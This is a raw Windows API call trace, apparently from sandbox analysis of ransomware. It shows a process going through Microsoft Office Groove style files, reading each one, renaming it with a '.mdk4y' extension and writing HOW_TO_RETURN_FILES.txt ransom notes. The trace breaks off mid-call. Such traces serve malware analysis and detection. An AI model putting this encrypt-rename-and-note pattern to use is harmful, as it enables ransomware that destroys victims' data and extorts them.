[0217.992] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.992] AreFileApisANSI () returned 1 [0217.992] GetACP () returned 0x4e4 [0217.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tab_on.gif", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="tab_on.giff", lpUsedDefaultChar=0x37dc90) returned 10 [0217.992] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829322300000) returned 1 [0217.993] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x108, lpOverlapped=0x0) returned 1 [0217.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829322300000) returned 1 [0217.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829322300000) returned 1 [0217.994] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_on.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_on.gif.mdk4y")) returned 1 [0217.994] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0217.995] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0217.995] AreFileApisANSI () returned 1 [0217.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 124 [0217.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0217.996] GetFileType (hFile=0x134) returned 0x1 [0217.996] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.996] AreFileApisANSI () returned 1 [0217.996] GetACP () returned 0x4e4 [0217.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sts2.css", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Sts2.csseen.css", lpUsedDefaultChar=0x37dd1c) returned 8 [0217.996] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0218.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829324700000) returned 1 [0218.018] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xce8, lpOverlapped=0x0) returned 1 [0218.028] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829325800000) returned 1 [0218.028] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829325800000) returned 1 [0218.028] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts2.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2.css.mdk4y")) returned 1 [0218.029] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0218.030] AreFileApisANSI () returned 1 [0218.030] GetACP () returned 0x4e4 [0218.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Swirl", cchWideChar=5, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Swirlcss", lpUsedDefaultChar=0x37dd1c) returned 5 [0218.030] AreFileApisANSI () returned 1 [0218.030] GetACP () returned 0x4e4 [0218.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=101, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\Ȁ") returned 101 [0218.030] AreFileApisANSI () returned 1 [0218.030] GetACP () returned 0x4e4 [0218.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0218.030] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0218.030] AreFileApisANSI () returned 1 [0218.030] GetACP () returned 0x4e4 [0218.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0218.030] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0218.030] AreFileApisANSI () returned 1 [0218.030] GetACP () returned 0x4e4 [0218.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.gif", cchWideChar=14, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="background.gifM", lpUsedDefaultChar=0x37dc90) returned 14 [0218.030] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\background.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0218.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829326100000) returned 1 [0218.031] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x32f, lpOverlapped=0x0) returned 1 [0218.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829326200000) returned 1 [0218.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829326200000) returned 1 [0218.033] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\background.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\background.gif.mdk4y")) returned 1 [0218.034] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0218.034] AreFileApisANSI () returned 1 [0218.034] GetACP () returned 0x4e4 [0218.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="header.gif", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="header.gif.gif", lpUsedDefaultChar=0x37dc90) returned 10 [0218.034] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\header.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0218.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829326500000) returned 1 [0218.035] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x6993, lpOverlapped=0x0) returned 1 [0218.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829327300000) returned 1 [0218.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829327300000) returned 1 [0218.043] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\header.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\header.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\header.gif.mdk4y")) returned 1 [0218.045] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0218.045] AreFileApisANSI () returned 1 [0218.045] GetACP () returned 0x4e4 [0218.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tab_off.gif", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="tab_off.gifgif", lpUsedDefaultChar=0x37dc90) returned 11 [0218.045] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0218.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829327600000) returned 1 [0218.046] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0218.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829327600000) returned 1 [0218.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829327600000) returned 1 [0218.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_off.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_off.gif.mdk4y")) returned 1 [0218.056] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0218.056] AreFileApisANSI () returned 1 [0218.056] GetACP () returned 0x4e4 [0218.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tab_on.gif", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="tab_on.giff", lpUsedDefaultChar=0x37dc90) returned 10 [0218.057] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0218.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829328800000) returned 1 [0218.058] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0218.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829328800000) returned 1 [0218.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829328900000) returned 1 [0218.059] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_on.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_on.gif.mdk4y")) returned 1 [0218.060] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0218.060] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0218.061] AreFileApisANSI () returned 1 [0218.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 125 [0218.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0218.061] GetFileType (hFile=0x134) returned 0x1 [0218.062] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0218.062] AreFileApisANSI () returned 1 [0218.062] GetACP () returned 0x4e4 [0218.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Swirl.css", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Swirl.cssen.css", lpUsedDefaultChar=0x37dd1c) returned 9 [0218.062] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0218.063] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829329300000) returned 1 [0218.063] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xc23, lpOverlapped=0x0) returned 1 [0218.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829330200000) returned 1 [0218.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829330200000) returned 1 [0218.073] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl.css.mdk4y")) returned 1 [0218.074] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0218.074] AreFileApisANSI () returned 1 [0218.074] GetACP () returned 0x4e4 [0218.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Teal.css", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Teal.csss", lpUsedDefaultChar=0x37dd1c) returned 8 [0218.074] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\teal.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0218.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829330600000) returned 1 [0218.076] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x37a, lpOverlapped=0x0) returned 1 [0218.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829331200000) returned 1 [0218.082] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829331200000) returned 1 [0218.082] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\teal.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Teal.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\teal.css.mdk4y")) returned 1 [0218.084] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0218.084] AreFileApisANSI () returned 1 [0218.084] GetACP () returned 0x4e4 [0218.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TexturedBlue.css", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="TexturedBlue.css", lpUsedDefaultChar=0x37dd1c) returned 16 [0218.084] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\texturedblue.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0218.085] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829331500000) returned 1 [0218.085] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x37b, lpOverlapped=0x0) returned 1 [0218.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829335300000) returned 1 [0218.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829335300000) returned 1 [0218.124] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\TexturedBlue.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\texturedblue.css.mdk4y")) returned 1 [0218.125] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0218.126] AreFileApisANSI () returned 1 [0218.126] GetACP () returned 0x4e4 [0218.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VelvetRose.css", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="VelvetRose.cssss", lpUsedDefaultChar=0x37dd1c) returned 14 [0218.126] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\velvetrose.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0218.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829335700000) returned 1 [0218.127] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x375, lpOverlapped=0x0) returned 1 [0218.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829337100000) returned 1 [0218.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829337100000) returned 1 [0218.141] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\VelvetRose.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\velvetrose.css.mdk4y")) returned 1 [0218.143] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 0 [0218.143] FindClose (in: hFindFile=0x6ab410 | out: hFindFile=0x6ab410) returned 1 [0218.145] AreFileApisANSI () returned 1 [0218.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 119 [0218.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37da54, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0218.146] GetFileType (hFile=0x13c) returned 0x1 [0218.147] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.147] AreFileApisANSI () returned 1 [0218.147] GetACP () returned 0x4e4 [0218.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsVersion1Warning.htm", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsVersion1Warning.html", lpUsedDefaultChar=0x37dda8) returned 24 [0218.147] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsversion1warning.htm"), 